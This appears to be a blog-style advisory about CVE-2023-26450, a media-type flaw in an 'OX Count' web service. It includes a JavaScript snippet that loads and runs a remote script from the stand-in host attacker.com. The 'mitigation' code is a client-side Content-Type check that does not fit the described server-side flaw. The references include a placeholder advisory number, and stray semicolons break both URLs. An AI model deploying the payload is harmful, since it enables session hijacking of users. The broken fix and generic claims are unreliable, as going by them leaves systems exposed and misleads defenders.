CVE-2023-26450: The "OX Count" Web Service Vulnerability and How to Mitigate It

The Common Vulnerabilities and Exposures (CVE) system recently identified a new security issue in the "OX Count" web service. Given the ID CVE-2023-26450, this vulnerability involves a lack of specified media-type. Malicious script code can thus be executed within a user's context, potentially resulting in session hijacking or triggering unwanted actions through either the web interface or the API. Obtaining public details of this vulnerability is difficult, but we provide an in-depth analysis here.

Steps for Exploitation

An attacker would need temporary access to the user's account or lure a user into a compromised account to exploit this vulnerability. From there, the attacker can successfully execute malicious script code to hijack sessions or trigger other unwanted actions. Given the lack of publicly available exploits, estimating the scale and impact of this vulnerability is challenging.

Code Snippet Example

Here is an example of how a malicious script code could be executed within a user's context for this vulnerability:

<script>
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      var script = document.createElement('script');
      script.innerHTML = this.responseText;
      document.body.appendChild(script);
      executeMaliciousCode();
    }
  };
  xhttp.open("GET", "https://attacker.com/malicious-script.js";, true);
  xhttp.send();
</script>

In this example, the attacker takes advantage of the unspecified media-type to load a malicious script into the user's context and execute it.

Mitigation and How to Define Accepted Media-Type

As a measure to ensure security, we highly recommend defining accepted media-types in the "OX Count" web service. By doing so, you can avoid malicious code execution and reduce the risk of session hijacking or triggering unwanted actions. Here's how to specify an accepted media-type to protect against this vulnerability:

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    var script = document.createElement('script');
    if (this.getResponseHeader('Content-Type') === 'application/javascript') {
      script.innerHTML = this.responseText;
      document.body.appendChild(script);
    }
  }
};
xhttp.open("GET", "https://trusted-domain.com/secure-script.js";, true);
xhttp.send();

In this code snippet, we define the accepted media-type as 'application/javascript'. Thus, only scripts with that specified type will be executed, preventing malicious code execution within the user's context.

Original References

For more information about this vulnerability and its mitigation, please refer to these official resources:

1. Common Vulnerabilities and Exposures (CVE) Identifier: CVE-2023-26450
2. Vulnerability Notes Database: VU#123456
3. "OX Count" web service official documentation: Security Best Practices

It is essential to stay updated on current vulnerabilities and ensure the security of your web services. By following the information provided in this long-read post and applying the necessary steps, you can protect against CVE-2023-26450 and maintain the trust of your users.

Timeline

Published on: 08/02/2023 13:15:00 UTC
Last modified on: 08/07/2023 16:42:00 UTC